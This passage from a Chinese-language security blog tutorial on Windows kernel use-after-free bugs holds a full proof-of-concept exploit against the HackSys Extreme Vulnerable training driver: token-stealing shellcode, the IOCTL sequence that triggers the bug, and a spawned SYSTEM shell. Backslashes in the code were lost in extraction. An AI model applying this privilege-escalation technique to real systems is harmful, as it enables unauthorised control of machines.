"x64x8bx80x24x01x00x00"// mov eax, dword ptr fs:[eax + 0x124]
"x8bx40x50"                 // mov eax, dword ptr [eax + 0x50]
"x89xc1"                     // mov ecx, eax
"xbax04x00x00x00"         // mov edx, 4
"x8bx80xb8x00x00x00"     // mov eax, dword ptr [eax + 0xb8]
"x2dxb8x00x00x00"         // sub eax, 0xb8
"x39x90xb4x00x00x00"     // cmp dword ptr [eax + 0xb4], edx
"x75xed"                     // jne 0x1014
"x8bx90xf8x00x00x00"     // mov edx, dword ptr [eax + 0xf8]
"x89x91xf8x00x00x00"     // mov dword ptr [ecx + 0xf8], edx
"x61"                         // popal

// return to userland code
"x31xc0"                     // xor eax,eax
"xC3";                        // ret

  LPVOID lpPayload = VirtualAlloc(NULL,
                                  56,
                                  (MEM_COMMIT | MEM_RESERVE),
                                  PAGE_EXECUTE_READWRITE);

if (lpPayload == NULL)
  {
    printf("[-] Failed to create shellcode allocationn");
    return-1;
  }

memcpy(lpPayload, shellcode, 56);

  hHEVD = CreateFileA("\\.\HackSysExtremeVulnerableDriver",
                      (GENERIC_READ | GENERIC_WRITE),
                      0x00,
                      NULL,
                      OPEN_EXISTING,
                      FILE_ATTRIBUTE_NORMAL,
                      NULL);

if (hHEVD == INVALID_HANDLE_VALUE)
  {
    printf("[-] Failed to get a handle on HackSysExtremeVulnerableDrivern");
    return-1;
  }

  evilBuffer = allocate_buffer(lpPayload);
if (evilBuffer == NULL)
  {
    printf("[*] Failed to allocate evil buffer (userland)n");
    return-1;
  }

printf("[*] Allocating PUSE_AFTER_FREE_NON_PAGED_POOL objectn");
  sendIoctl(hHEVD, HEVD_ALLOCATE_ROBJ, NULL0);

printf("[*] Freeing objectn");
  sendIoctl(hHEVD, HEVD_FREE, NULL0);

printf("[*] Allocating FAKE_OBJECT_NON_PAGED_POOLn");
  sendIoctl(hHEVD, HEVD_ALLOCATE_FOBJ, evilBuffer, sizeof(FAKE_OBJECT_NON_PAGED_POOL));

printf("[*] Triggering UAFn");
  sendIoctl(hHEVD, HEVD_CALL_FPTR, NULL0);

printf("[+] Enjoy the shell :)nn");

  system("cmd.exe");
}

编译完成后:

i686-w64-mingw32-gcc poc.c -o poc.exe

我们获得了 shell!

参考资料

https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/paged_code

原文始发于微信公众号(securitainment):Windows 内核 Use After Frees (UaFs) 介绍

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月15日21:52:47
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Windows 内核 Use After Frees (UaFs) 介绍https://cn-sec.com/archives/3844602.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息